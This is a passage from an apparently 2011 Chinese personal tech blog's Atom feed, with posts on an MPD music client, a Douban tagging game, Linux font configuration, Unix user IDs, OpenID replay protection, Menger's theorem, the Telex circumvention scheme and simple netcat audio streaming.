<p>发布到PyPI就不说了，有兴趣的自行参看置底链接。</p>

<p>Links:</p>

<ul>
    <li><a href="http://docs.python.org/distutils/index.html">http://docs.python.org/distutils/index.html</a></li>
    <li><a href="http://docs.python.org/install/index.html">http://docs.python.org/install/index.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>mpy</title>
        <link href="http://blog.cykerway.com/post/399" />
        <id>http://blog.cykerway.com/post/399</id>
        <updated>2011-09-07T04:01:54Z</updated>
        <content type="html"><![CDATA[<p>这个用Python写的MPD客户端终于发布了，从写完到发布居然用了快两个月的时间，总共写这个才用了不到一个礼拜，我也不知道中间都干了些什么别的事情……</p>

<p>mpy源于ncmpcr，但比ncmpcr更稳定，更成熟。逻辑控制更清晰，UI也有改善。这一切得力于Python的精简，一行可以做完C几行的任务，这样就可以把更多精力放在流程控制上。</p>

<p>当然，用Python会有些性能损失。CPU的执行效率在这么一个客户端上并不明显，但内存占用和C还是有差距的。以下是用ps命令检测到的分别在停止/播放/使用一段时间后的内存占用：</p>

<pre class="brush:bash">
# stop
ncmpcr            6316
ncmpc             6760
mpy              24416
sonata           58644
mpd              65604

# start
ncmpcr            6316
ncmpc             6760
mpy              25036
mpd              65672
sonata           97524

# after a while
ncmpcr            6316
ncmpc             6760
mpy              25036
mpd              68092
sonata          107240
</pre>

<p>可以看出mpy比ncmpcr多用一些内存，但运行时内存占用还是比较稳定的。ncmpc和sonata是另外两个分别用C和Python写的MPD客户端，可供对比参考。sonata带图形界面，所以会多吃一些内存。</p>

<p>因为照顾远程使用MPD的用户，把音乐的rating信息保存在了服务器端，存取音乐的rating用了sticker，所以是一条一条进行的，播放列表（不是总的歌曲数据库）里的歌曲多，而且网速慢的话rate时会有点慢，不过几百首之内都无所谓（网速太慢也没法用MPD吧……）。如果数据库里有成千上万的歌曲的话，就不要都往播放列表里堆了（几万首也听不完吧……），或者在配置文件里关闭rating这个feature好了。不过还是建议打开这个feature，因为当初就是因为用ncmpc无法记录哪些歌好听哪些歌不好听才写了ncmpcr和后来的mpy的。</p>

<p>当然我后来考虑了一下这个功能实现在客户端也无可非议，因为即便同样的歌曲不同人觉得好听与否都未必一致。而且我觉得多数人都是在localhost上用MPD的。实现在客户端的话速度就会快很多了。这个改起来不难，只是不知道未来什么时候有时间了。</p>

<p>嗯，就这么多吧。项目主页在<a href="http://ncmpy.cykerway.com/">http://ncmpy.cykerway.com/</a></p>

<p>Update. 由于在PyPI上名字冲突，mpy已经改名为ncmpy。嗯，这个nc前缀还是没能逃过去。</p>]]></content>
    </entry>
    <entry>
        <title>Doublo</title>
        <link href="http://blog.cykerway.com/post/398" />
        <id>http://blog.cykerway.com/post/398</id>
        <updated>2011-09-06T21:25:22Z</updated>
        <content type="html"><![CDATA[<p>嗯，没错， 是Doublo不是Diablo。</p>

<p>Doublo是豆瓣最近推出的一款在线小游戏，玩法是两个人同时听一首歌，并给出歌曲的标签，例如年代、流派等等。如果两个人给出的某个标签一致，那么双方都会获得相应的分数。</p>

<p>不知道看到这个你有没有想起reCAPTCHA。Google用reCAPTCHA来区分自然人和机器，同时用户的行为可以帮助Google识别数字文献，是一个一箭双雕的好事情。</p>

<p>Doublo和reCAPTCHA有异曲同工之妙，但看上去Doublo比reCAPTCHA更好，因为Doublo没有区分自然人和机器的这个任务，所以使用方式更灵活，可以想象如果两个人都认为一首歌曲有某一个tag，那事实基本上就是这样，于是两个人在玩游戏的同时完成了对训练集数据的标注。就是这么一个简单的想法。不过最精彩的创意也往往就是一个简单的想法。</p>

<p>而且，Doublo是以游戏的方式进行，用户是主动的，而reCAPTCHA的使用中，用户是被动的。用户更乐于接受Doublo。</p>

<p>不由得想起我在写mpy的时候，因为许多音乐没有完整的tag，一度怀疑自己加入按Artist/Album分类这个功能是否有意义。若干年前我还想做一个根据音乐自动识别tag的软件，后来因为种种原因没有成型。我当时的想法很简单，只需要维护一个资料库，保存（一首歌曲的前30秒，或整首歌曲，的内容的一个类似hash的值）与（该歌曲的tag信息）这样的键值对就可以了（当然有比简单的hash更好的参数），如果需要，还可以加入歌词（把歌词加入到tag里就可以了）。但后来发现维护这样一个庞大的资料库是非常困难的，单靠机器识别的精度远远不能满足需要，而用人来识别的话又没有足够的用户。而Doublo的出现恰好解决了这个问题，无论是直接标注，还是用用户行为来训练模型（这样以后遇到资料库里已有的歌曲就可以自动返回结果，遇到资料库里没有的可以用训练好的模型来应答）。这算是一个非常完美的解决方案了。</p>

<p>另外，也许你还可以由Doublo想起Omegle，都是随机抓两个人做点什么这个模式。</p>

<p>鉴于Doublo是一个最新推出的产品，我还是想指出它的一些不足之处：</p>

<ol>

    <li>
        <p>同步和延迟问题。根据刚才十几分钟的游戏体验，有时音乐的载入需要较长时间（但播放时基本没有lag），而下方的匹配标签也会出现不同步的情况，例如标签重复出现。</p>

        <p>我觉得，这问题只能靠豆瓣的工程师。</p>
    </li>

    <li>
        <p>玩家的音乐素养问题。我觉得多数人都没有受过很正式的音乐训练，也未必了解音乐的各种分类。例如，你真的能非常清楚地区分pop/rock/R&amp;B/hiphop么？如果参与游戏的玩家都不能准确地对音乐进行分类，那么由这个游戏得到的音乐分类结果是值得怀疑的。再者，玩家也未必清楚歌手的出处，更未必分得清音乐所表述的感情。备选标签里有个感觉标签叫“迷幻”，什么是迷幻，你能听出哪首歌在迷幻么？更不必提，有些歌曲连男声女声都听不出来。</p>

        <p>我觉得，豆瓣至少应该在游戏页面加入一个音乐分类的基本介绍和试听，当作游戏教学之类什么的。不然分类结果可能大打折扣。</p>
    </li>

    <li>
        <p>备选标签的设置问题。这个问题由上面的问题引申而来。既然用户不能准确地进行分类，他们就可能会瞎点。但瞎点还好，如果用户为了获得更高的分数而约定俗成一个类似“不会就蒙C”的规矩，那这个对分类的准确性就要命了。</p>

        <p>我觉得，至少应该有一个稍微靠谱不捣乱的角色存在。具体地，见下一条。</p>
    </li>

    <li>
        <p>“猪一样的队友”问题。任何具备合作特性的网络游戏都有这么一个问题：不怕神一样的对手，就怕猪一样的队友。这是一个通病，对于强烈依赖团队合作的游戏来说，迄今为止最好的解决方法就是退出重进，点数什么就忍痛割爱了吧。不幸Doublo就是这么一个强烈依赖团队合作的游戏，就算你都标记对了，如果对面都标记错了，你还是一分也得不到。</p>

        <p>我觉得，解决这个问题，连同上面那个问题，有个最简单的方法就是把二人游戏变N人游戏，并规定一个标签被采纳当且仅当N/2 &lt; M &lt; N个人标记这个标签。首先，上面那个问题解决了，因为人越多，有一个靠谱的人的可能性就越大。注意，只要有一个靠谱的就行了。其次，这个问题也解决了，因为对任一单个人的依赖降低了。换句话说，N-M头猪都不能影响游戏的正常进行了（还记得分布式计算里的quorum么）。</p>
    </li>

    <li>
        <p>UI设计问题。现在的页面UI设计还不敢恭维，分数到达3位数时就会被其他页面元素遮挡住一块，估计是CSS没有调整好。但这还好，比这更糟的是每次选不同分类的标签都要点两下，做到一个大页面里去应该不是什么难题，可以节省用户近一半的点击。而左边那么大的一片用来放不重要的东西，豆瓣是直接把电台的UI设计套在游戏上了么？</p>

        <p>我觉得，这些不是什么困难事，随时都可以改。但改不改不归我说了算。</p>
    </li>

</ol>

<p>最后，这款游戏现在还没有和社交关联起来。豆瓣为什么不做这样的关联呢？我觉得（仅仅是我个人猜测）Doublo只是为了改善豆瓣电台质量的一个工具，如果允许熟人一起玩，可能双方会为了获得更高的分数而统一意见到某个的答案上，这样就不准了（类似于上面的“不会就蒙C”问题）。因为熟人玩家会降低玩家之间的独立性，这就注定了这个游戏只能是随机抽选玩家。不过其实豆瓣可以加入如果默契率高就公布对方信息并选择是否添加好友这个功能，或者加入只匹配异性玩家的功能，这对追妹子（文艺女青年？）应该是有帮助的。</p>

<p>总而言之，Doublo是个让人眼前一亮的产品。如果能把现在存在的问题解决掉，会非常成功；如果不能解决（对改善音乐质量没有帮助），也许会被豆瓣下线。但在此时此刻，仍然必须严重推荐。</p>

<p>Links:</p>

<ul>
    <li><a href="http://labs.douban.com/doublo/">http://labs.douban.com/doublo/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Linux字体设置</title>
        <link href="http://blog.cykerway.com/post/397" />
        <id>http://blog.cykerway.com/post/397</id>
        <updated>2011-09-04T16:29:43Z</updated>
        <content type="html"><![CDATA[<p>X的字体问题说来话长。Google一下有很多术语：FreeType, xft, fontconfig...还能经常见到-misc-dejavu sans-*-*-*-*-17-*-*-*-*-*-iso10646-*这样一坨。都是干什么的呢？</p>

<p>首先，什么是字体系统？当应用程序（以编码的方式）要一个字，你能找到这个字并以合适的方式画出来，你就是个字体系统。X有两套字体系统：X11核心字体系统（core X11 font system）和xft。就先从原始的X11核心字体系统说起吧。</p>

<p>提到X11核心字体系统，就不得不说一下-misc-dejavu sans-*-*-*-*-17-*-*-*-*-*-iso10646-*这坨东西。这坨东西有个术语叫X local font description(XLFD)，分成14块，每一块都描述了字体在一个方面的特性，具体可参见<a href="http://en.wikipedia.org/wiki/X_logical_font_description">http://en.wikipedia.org/wiki/X_logical_font_description</a>。总之，就是个字体的描述。</p>

<p>那么如何添加字体呢？假设字体文件是/usr/share/fonts/foo/foo.ttf，那么执行：</p>

<pre class="brush:bash">
# make index
mkfontscale /usr/share/fonts/foo/
mkfontdir /usr/share/fonts/foo/
# set font path
xset fp+ /usr/share/fonts/foo/
xset rehash
</pre>

<p>即完成字体的添加。前两行会生成fonts.scale和fonts.dir，自己打开看看就知道是什么了。但是这种方法不是持久的，重新启动之后就没了。持久的方法有二：</p>

<ul>

<li><p>将后两行写在~/.xinitrc里</p></li>

<li><p>在/etc/X11/xorg.conf里加入</p>

<pre class="brush:bash">
Section &quot;Files&quot;
    FontPath &quot;/usr/share/fonts/foo/&quot;
EndSection
</pre></li>

</ul>

<p>在第二种方法里xset的两行就不需要了。</p>

<p>关于X11核心字体系统如何选择应用程序所要求的字体，可以运行一下xfontsel这个程序。xfontsel可以用来查看一个XLFD在你的机器上会被如何显示。</p>

<p>另外xlsfonts可以列出满足指定XLFD的字体：</p>

<pre class="brush:bash">
xlsfonts -fn &quot;-urw-nimbus sans l-*-r-condensed-*-17-*-*-*-*-0-iso10646-*&quot;
</pre>

<p>不加-fn选项时列出所有字体。</p>

<p>X11核心字体系统就说这么多，下面轮到xft字体系统了。xft其实没多少东西（yaourt -Ql libxft看看）。它更像是一个接口，调用fontconfig和FreeType完成大部分工作。fontconfig用来选字，FreeType用来画字。</p>

<p>重点说fontconfig吧。XLFD在这里就没什么用了，fontconfig对字体有自己的内部描述。还是从添加字体说起吧。最核心的配置文件是/etc/fonts/fonts.conf，是个XML文件。打开看看，里面用&lt;dir&gt;&lt;/dir&gt;包围的，就是字体目录；用&lt;cachedir&gt;&lt;/cachedir&gt;包围的，就是缓存目录。别的先不用管，看~/.fonts在字体目录里吧，把foo.ttf往~/.fonts里一丢，运行一下：</p>

<pre class="brush:bash">
# update cache
fc-cache -vf
</pre>

<p>这个字体就添加进去了。用下面命令看一下就知道了：</p>

<pre class="brush:bash">
fc-list
</pre>

<p>但是若想要让字体有好的显示效果，还需要好好配置一番。/etc/fonts/fonts.conf会包含/etc/fonts/conf.d目录下的所有文件，而/etc/fonts/conf.d下的文件都是/etc/fonts/conf.avail下的文件的软链接，方便随时添加删除。常用的格式无非就两种</p>

<ul>

<li><p>&lt;match&gt;&lt;test&gt;&lt;/test&gt;&lt;edit&gt;&lt;/edit&gt;&lt;/match&gt;，意思是对满足test的东西执行edit操作。test和edit都可以有多个。如果test有多个，仅当所有test都满足时才执行edit。</p></li>

<li><p>&lt;alias&gt;&lt;family&gt;&lt;/family&gt;&lt;prefer or accept or default&gt;&lt;family&gt;&lt;/family&gt;&lt;/prefer or accept or default&gt;。这个是说，如果给定字体是前面family标签里的内容，就以后面family里的内容执行prefer或accept或default。prefer是说插在前面，accept是说跟在后面，default是说放在最后，都是字体匹配时用的。</p></li>

</ul>

<p>具体如何配置有很多例子，看置底链接吧，不在这里写了。</p>

<p>当fontconfig选好字体后还要利用FreeType画出来。FreeType是个文字转图片的东西。当然转成图片后还是要用X来画。</p>

<p>写得乱七八糟的，也许改天有空refine一下。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.freedesktop.org/software/fontconfig/fontconfig-user.html">http://www.freedesktop.org/software/fontconfig/fontconfig-user.html</a></li>
    <li><a href="http://zoomquiet.org/res/scrapbook/ZqFLOSS/data/20090728135855/">http://zoomquiet.org/res/scrapbook/ZqFLOSS/data/20090728135855/</a></li>
    <li><a href="http://lists.freedesktop.org/archives/fontconfig/2009-September/003236.html">http://lists.freedesktop.org/archives/fontconfig/2009-September/003236.html</a></li>
    <li><a href="http://wiki.ubuntu-tw.org/index.php?title=HowtoCustomFontswithFontconfig">http://wiki.ubuntu-tw.org/index.php?title=HowtoCustomFontswithFontconfig</a></li>
    <li><a href="http://bbs.chinaunix.net/viewthread.php?tid=942632">http://bbs.chinaunix.net/viewthread.php?tid=942632</a></li>
    <li><a href="http://www.freetype.org/freetype2/docs/tutorial/step3.html">http://www.freetype.org/freetype2/docs/tutorial/step3.html</a></li>
    <li><a href="http://www.chinaitpower.com/2005September/2005-09-13/199359.html">http://www.chinaitpower.com/2005September/2005-09-13/199359.html</a></li>
    <li><a href="http://www.xfree86.org/~dawes/4.3.0/fonts1.html">http://www.xfree86.org/~dawes/4.3.0/fonts1.html</a></li>
    <li><a href="http://www.ha97.com/book/OpenSource_Guide/ch19s07.html">http://www.ha97.com/book/OpenSource_Guide/ch19s07.html</a></li>
    <li><a href="https://wiki.archlinux.org/index.php/Fonts_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#.E5.AD.97.E4.BD.93.E7.9B.B8.E5.85.B3.E5.BA.93.E7.9A.84.E7.AE.80.E4.BB.8B">https://wiki.archlinux.org/index.php/Fonts_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#.E5.AD.97.E4.BD.93.E7.9B.B8.E5.85.B3.E5.BA.93.E7.9A.84.E7.AE.80.E4.BB.8B</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>UID/EUID/SUID</title>
        <link href="http://blog.cykerway.com/post/396" />
        <id>http://blog.cykerway.com/post/396</id>
        <updated>2011-09-04T05:38:08Z</updated>
        <content type="html"><![CDATA[<p>Linux有三种主要的UID：</p>

<ul>
    <li>Real user ID(ruid) - Login时所用的ID，表示用户的真实身份</li>
    <li>Effective user ID(euid) - 有效ID，执行各种操作，进行权限检查，创建文件、目录时所用的ID</li>
    <li>Saved set-user ID - 执行具有setuid位的程序时用于保存该程序文件的属主ID</li>
</ul>

<p>ruid和euid好理解吧？ruid就是说你是谁，euid就是说你以什么身份干事，一般情况下ruid = euid。但是在执行具有setuid位的程序时就不一样了。这些程序会把euid设置为该程序文件的属主ID，比如A执行了一个以B为属主的具有setuid位的程序，那么这个执行进程的euid就是B，而ruid还是A。同时saved set-user ID也被设置为B。</p>

<p>为什么要存saved set-user ID这个东西呢？因为前面说了干事时的身份是由euid来决定的。那么如果某个具有setuid位的程序想要切回使用者的身份，在没有saved set-user ID的情况下就切不回来了。例如上例中A执行的那个进程获得了euid为B，如果中途想要切换euid为A，就再也切不回B了。多了saved set-user ID之后就好办了。在exec时把euid和saved set-user ID都设置为B（实际上exec时saved set-user ID总是被设置为euid）。然后就算中间切到A了也还能再切回B（通过设置euid = saved set-user ID即可）。</p>

<p>当然为了安全，saved set-user ID是不能乱设的。我所知道的设置saved set-user ID的方法只有两种：一是exec时总是设置saved set-user ID = euid。二是只有root可以可以通过setuid来设置saved set-user ID（当然这样的话ruid和euid也都变了）。</p>

<p>另外，setuid和seteuid两个东西的区别仅在于以root执行时。以root执行时setuid会把3个ID（ruid/euid/saved set-user ID）全改成指定值，seteuid则只会改euid。以非root执行时setuid和seteuid一样。</p>

<p>Links:</p>

<ul>
    <li><a href="http://book.chinaunix.net/special/ebook/addisonWesley/APUE2/0201433079/ch08lev1sec11.html#ch08lev1sec11">http://book.chinaunix.net/special/ebook/addisonWesley/APUE2/0201433079/ch08lev1sec11.html#ch08lev1sec11</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Global Pulse</title>
        <link href="http://blog.cykerway.com/post/395" />
        <id>http://blog.cykerway.com/post/395</id>
        <updated>2011-09-03T20:40:30Z</updated>
        <content type="html"><![CDATA[<p>Let the world&apos;s most influential microblog company show how information flows!</p>

<p>Links:</p>

<ul>
    <li><a href="http://goo.gl/lK2wY">http://goo.gl/lK2wY</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>OpenID工作原理</title>
        <link href="http://blog.cykerway.com/post/394" />
        <id>http://blog.cykerway.com/post/394</id>
        <updated>2011-09-01T02:04:46Z</updated>
        <content type="html"><![CDATA[<p>其实这东西说白了就是你拿着“我是谁谁谁”的一张单子找OP签了个名，然后拿给RP验证。RP验证通过了就放你进去，否则就不放。</p>

<p>至于RP怎么验证OP的签名，有两种方法。一是RP事前和OP用Diffie-Hellman商量个密钥，这样RP和OP用同样的密钥签名，RP只需要检查自己签出来的是不是和OP一样，这是HMAC的典型应用。二是RP把你给它的单子拿去问OP：“某某某说这是你给它签的，有效吗？”然后OP会告诉RP是否有效。OP只需要再签一次然后比对是否相同就行了。在这种方法中RP并不知道OP签名所用的密钥。</p>

<p>为了防止重放攻击，有两个地方需要注意。第一，OP在签名的时候要签进去一个nonce，形式为“Unix时间戳+unique字符串”。必须保证同一个OP的任何两次签名的nonce都不相同，而RP对同一个nonce仅允许验证成功一次。怎么理解呢？所谓重放攻击，就是你拿着OP给你签好的单子去RP验证通过的时候，这个单子被某个坏人看到了（例如网路上的窃听者）。于是它记下了单子的数据，并伪造一张一样的单子去RP那儿验证。但是单子上有nonce这个东西，而且RP也会维护之前验证成功的nonce。因为OP保证任何一个nonce只用一次，当RP看到一个nonce被用了两次的时候，就知道是坏人在重放了，所以会拒绝第二次请求，于是坏人就不能得逞了。</p>

<p>那么RP如何维护这么庞大的已经使用过的nonce列表呢？这时时间戳就派上用场了。其实RP并不需要维护所有已经使用过的nonce列表，而是只需要维护时间戳误差在RP与OP时钟漂移+网络延时范围内的就可以了。假设RP的时间是t，时钟漂移+网络延时是d，那么OP的时间范围是[t-d, t+d]，所以RP就只需要维护时间戳在[t-d, t+d]的消息。时间戳大于t+d的签名消息根本不会出现，而时间戳小于t-d的被RP认为是重放。这样RP的负担就小多了。</p>

<p>回到主线接着说第二，在上述验证方法二中，OP对同一个验证请求最多只能回复一次。这其实和前面的道理是一样的，只不过角色从RP转移到了OP。</p>

<p>最后，什么叫做同一个验证请求？就是指nonce相同的呗。前面都说了一个nonce只能用一次，所以nonce是一个天然的唯一标识符。</p>

<p>不过后来我想了一下，是不是能把这两个地方合起来，把防止重放攻击的责任完全放在RP身上？因为无论采用哪种认证方式，都是RP最后得到验证成功或失败的消息。作为RP所需要保证的就是，无论采取哪种验证方式，都不能让同一个nonce成功两次就可以了。这么来看完全没有必要让OP管这些事。而协议里之所以要OP来插一腿，估计是为了应付那些stateless的RP的，那些RP没脑子，记不住哪些nonce是曾经验证成功的，所以只能完全靠OP了。不知道我的分析对不对。</p>

<p>推荐三篇文章。第一篇讲什么是OpenID，第二篇讲OpenID工作原理，第三篇是OpenID Authentication 2.0协议原文。</p>

<p>Links:</p>

<ul>
    <li><a href="http://zhangbin.cc/archives/822">http://zhangbin.cc/archives/822</a></li>
    <li><a href="http://zhangbin.cc/archives/838">http://zhangbin.cc/archives/838</a></li>
    <li><a href="http://openid.net/specs/openid-authentication-2_0.html">http://openid.net/specs/openid-authentication-2_0.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Menger&#039;s Theorem</title>
        <link href="http://blog.cykerway.com/post/393" />
        <id>http://blog.cykerway.com/post/393</id>
        <updated>2011-08-31T00:31:58Z</updated>
        <content type="html"><![CDATA[<p>Wikipedia上的论述实际上是Diestel书中的Corollary 3.3.5.，只是一个corollary，太坑爹了。正经的Menger&apos;s Theorem是Diestel书中的Theorem 3.3.1.，证明羞愧地没有看懂……好在找到一个7页的插图版证明搞定了，顺便贴到Wikipedia上去了。</p>

<p>有一些文字上的细微之处需要搞清楚。书上Theorem 3.3.1.的disjoint A-B path中的disjoint是指完全不相交，包括端点也不能相同。A-B path的定义可以见那个7页的证明，注意“除起点和终点外中间不能有A或B中的点”这个要求。这样那个7页证明就容易懂了。而Corollary 3.3.5.中的independent a-b path是指从a到b的internally vertex-disjoint path，即除a, b外的中间节点不相交（不然最多只有一条了）。证明里的N(a)指顶点a的所有邻点，E(a)指顶点a的所有邻边，line graph of G（下称G&apos;）中每个顶点对应G中一条边，G&apos;中两个顶点相邻当且仅当G中对应的两条边相邻，这些都是在前面章节里给出的。Theorem 3.3.6.中的independent path与Corollary 3.3.5.中类似。</p>

<p>Menger&apos;s Theorem可以弄出一些很漂亮的结论。比如说，下面两个命题是等价的：</p>

<ol>
    <li>图G中任意不相邻两点间的node-disjoint-path的个数大于等于k；</li>
    <li>图G中任意两点间的node-disjoint-path的个数大于等于k。</li>
</ol>

<p>2到1是显然的。1到2可以这么证：如果1成立，那么图G一定是(k-1)个点不可分割的，即最小分割点集的元素个数大于等于k。根据Menger&apos;s Theorem，任意两点间的node-disjoint-path的个数都大于等于k。</p>

<p>再比如，下面4个命题是等价的：</p>

<ol>
    <li>图G中任意不相邻两点间的node-disjoint-path的个数大于等于2；</li>
    <li>图G中无割点；</li>
    <li>图G中任意两条边共环；</li>
    <li>图G中任意两点间的node-disjoint-path的个数大于等于2。</li>
</ol>

<p>由上面的分析知，1和4是等价的（取k=2）。而1到2，3到2是显然的。3到1也好证。2到4可以用Menger&apos;s Theorem，这样2和1也等价了。还剩一个2到3，我们不妨证NOT 3到NOT 2。证明如下：</p>

<p>因为边共环是一个等价类，若图G中有两边不共环，必然可以找到顶点v, a, b使得边va和vb不共环。那么所有a, b之间的路都经过v。所以v就是个割点。</p>

<p>Menger&apos;s Theorem果然是个神奇的对偶定理。</p>

<p>BTW，Diestel真是个好人，居然提供了最新版的全书pdf下载，说是low-quality，其实也不错了。只是不能搜索，找前面的定义费劲了。</p>

<p>Links:</p>

<ul>
    <li><a href="http://diestel-graph-theory.com/gdvuht48hdsfkls843efhksolasjos/aufruf3.php">http://diestel-graph-theory.com/gdvuht48hdsfkls843efhksolasjos/aufruf3.php</a></li>
    <li><a href="http://www.math.unm.edu/~loring/links/graph_s05/Menger.pdf">http://www.math.unm.edu/~loring/links/graph_s05/Menger.pdf</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Menger%27s_theorem">http://en.wikipedia.org/wiki/Menger%27s_theorem</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Telex</title>
        <link href="http://blog.cykerway.com/post/392" />
        <id>http://blog.cykerway.com/post/392</id>
        <updated>2011-08-29T00:06:02Z</updated>
        <content type="html"><![CDATA[<p>花了若干小时看完了Telex的论文，简单来说，利用了TLS握手协议最开始客户端发出的随机串。可以用类似Diffie-Hellman的方法构造出某些特定的随机串（称为tag）及其对应的key:$k_{sh}$，使之满足两个条件：</p>

<ol>
    <li><p>有私钥的人可以迅速识别出tag，并根据tag算出key:$k_{sh}$</p></li>
    <li><p>没有私钥的人无法有效地区分tag和真正的随机串</p></li>
</ol>

<p>私钥当然是掌握在Telex的提供者手里（以下认为Telex station有私钥）。</p>

<p>整个通讯过程的背景是，client要访问一个被Q的网站Blocked.com，另外有一个没有被Q的网站NonBlocked.com作为靶子，而Telex station作为路由器的旁路设备架设在client和NonBlocked.com之间。当然，除了client之外的三个东西都是在Q外的。</p>

<p>client不能直接访问Blocked.com，因为这样Q就发现了。于是client用HTTPS访问了NonBlocked.com，只不过在TLS协议client最开始发送的随机串那里用了一个tag而不是真正的随机串。当这个包到达Telex station时，Telex station用私钥识别成功，开始监听这个连接。TLS握手进行到交换密钥这一步时，client故意造了一个漏洞，在应该用真随机串的地方用了根据$k_{sh}$生成的伪随机串。对于不知道$k_{sh}$是什么的人来说无法发现差别，但Telex station知道$k_{sh}$，所以相当于client把密钥交换算法中自己的私密部分告诉了Telex station。于是Telex station就可以像client一样算出双方在后续通讯中使用的主密钥（master secret）了（注意NonBlocked.com发来的公开信息Telex station也能看到）。</p>

<p>最精彩的地方在于，当client和NonBlocked.com的TLS握手即将进行完毕，NonBlocked.com发来最后一个Finished消息时，Telex station用一个RST蹬掉了NonBlocked.com，自己摇身一变成了Man-In-The-Middle。（RST终于在好人手里创造价值了……内牛……）在把这个Finished消息forward给client之后整个TLS握手就完毕了，而通信的双方实际上已经由client和NonBlocked.com变成了client和Telex station。一个加密信道建立起来了，Telex station只需要像个代理一样负责转发就可以了。比如client在这个连接上的下一个请求就可以是到Blocked.com的了。</p>

<p>Telex强大的地方在于它是部署在从client到NonBlocked.com（注意不需要是Blocked.com）的中间节点上的，即作者所说的end-to-middle，client是end，Telex是middle。整个通讯在client这边看起来都是在和NonBlocked.com进行的，Telex station的IP并没有暴露，所以也就无法用封IP的方法消灭。client想要Telex的帮忙，只需要建立一个HTTPS连接途经Telex即可。可以想象如果能在骨干网大规模部署Telex或者干脆部署在国家入口，命中率还是很高的。</p>

<p>不过Telex还是存在一些问题（除去论文中已经指出的）。既然client和NonBlocked.com之间的通讯密钥被三方（client/NonBlocked.com/Telex station）知道了，那么：</p>

<ol>
    <li><p>client和NonBlocked.com的通讯都被Telex station看到了。这就意味着client和NonBlocked.com之间的通讯是不安全的。所以不要把NonBlocked.com指定为很重要的网站。</p></li>
    <li><p>理论上NonBlocked.com可以破译client和Telex station的通讯。所以这条信道并不是真正的安全，只是能凸Q罢了。如果在client和Telex station之间的通讯需要加密，应当在加密信道建立之后立即重新协商密钥。</p></li>
</ol>

<p>总的来说整个过程很有趣。苦逼的client给无辜的靶子发求救信号，只为中间被Telex截获。Telex忍啊忍等到两边的TLS通道建立起来了，一脚蹬掉靶子开始为client服务。可怜的靶子，辛辛苦苦和别人握了手，还没热乎，就被一个RST蹬掉了。没办法，谁让靶子身份好。</p>

<p>附TLS握手协议图一张，这个是双向认证的，凑合看吧。</p>

<p><a href="/uploads/20110829/SSL_handshake_with_two_way_authentication_with_certificates.png"><img src="/uploads/20110829/SSL_handshake_with_two_way_authentication_with_certificates-tn.png" alt="SSL.svg" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="https://telex.cc/">https://telex.cc/</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake_in_detail">http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake_in_detail</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>multi-party Diffie-Hellman key exchange</title>
        <link href="http://blog.cykerway.com/post/391" />
        <id>http://blog.cykerway.com/post/391</id>
        <updated>2011-08-25T21:48:25Z</updated>
        <content type="html"><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Operation_with_more_than_two_parties">http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Operation_with_more_than_two_parties</a></p>

<p>The divide-and-conquer is cool.</p>]]></content>
    </entry>
    <entry>
        <title>via vs dev</title>
        <link href="http://blog.cykerway.com/post/390" />
        <id>http://blog.cykerway.com/post/390</id>
        <updated>2011-08-25T16:09:26Z</updated>
        <content type="html"><![CDATA[<p>近日发现某个IP连不上，ping之，发现错误居然是从本机的eth0设备发出来的。查了半天发现是路由写错了，对这个不在eth0子网里的IP直接用了dev而没有用via。结果是对这个IP的ARP查询没人回应。</p>

<p>正宗的修改的办法当然是用via指定下一跳，不过其实设置一个静态ARP，将这个IP映射到eth0子网的网关的MAC地址上也可以（虽说之所以不用这个方法就是为了避免大量的ARP缓存……）。</p>]]></content>
    </entry>
    <entry>
        <title>VoIP with netcat</title>
        <link href="http://blog.cykerway.com/post/389" />
        <id>http://blog.cykerway.com/post/389</id>
        <updated>2011-08-24T16:20:57Z</updated>
        <content type="html"><![CDATA[<pre class="brush:bash">
# Server
HOST=localhost
PORT=12345
netcat -l -p $PORT | aplay

# Client
HOST=localhost
PORT=12345
arecord | netcat $HOST $PORT
</pre>

<p>Just that simple.</p>

<p>Links:</p>

<ul>
    <li><a href="http://ubuntuforums.org/showthread.php?t=1126789">http://ubuntuforums.org/showthread.php?t=1126789</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>tman - a tunnel manager</title>
        <link href="http://blog.cykerway.com/post/388" />
        <id>http://blog.cykerway.com/post/388</id>
        <updated>2011-08-22T15:57:16Z</updated>
        <content type="html"><![CDATA[<p>小研究了一下ip tunnel，发现很有用嘛。像什么v4装v4里，v4装v6里，v6装v4里，v6装v6里，什么都有哇。多数都是一个IP头，也没占多少空间，开销应该比那些要加密的小吧。反正操作都差不多，顺手写了个<a href="https://github.com/cykerway/tman">tman</a>，扔到Github上去了。一行开关tunnel才有爽感嘛。</p>]]></content>
    </entry>
    <entry>
        <title>PPTP vs L2TP vs OpenVPN</title>
        <link href="http://blog.cykerway.com/post/387" />
        <id>http://blog.cykerway.com/post/387</id>
        <updated>2011-08-22T10:29:24Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.ivpn.net/pptp-vs-l2tp-vs-openvpn.php">http://www.ivpn.net/pptp-vs-l2tp-vs-openvpn.php</a></p>]]></content>
    </entry>
    <entry>
        <title>MTU/PPPoE/MSS</title>
        <link href="http://blog.cykerway.com/post/386" />
        <id>http://blog.cykerway.com/post/386</id>
        <updated>2011-08-22T03:35:51Z</updated>
        <content type="html"><![CDATA[<p><a href="http://blog.csdn.net/nunogomes18/article/details/2200541">http://blog.csdn.net/nunogomes18/article/details/2200541</a></p>]]></content>
    </entry>
    <entry>
        <title>Bash变量的作用域</title>
        <link href="http://blog.cykerway.com/post/385" />
        <id>http://blog.cykerway.com/post/385</id>
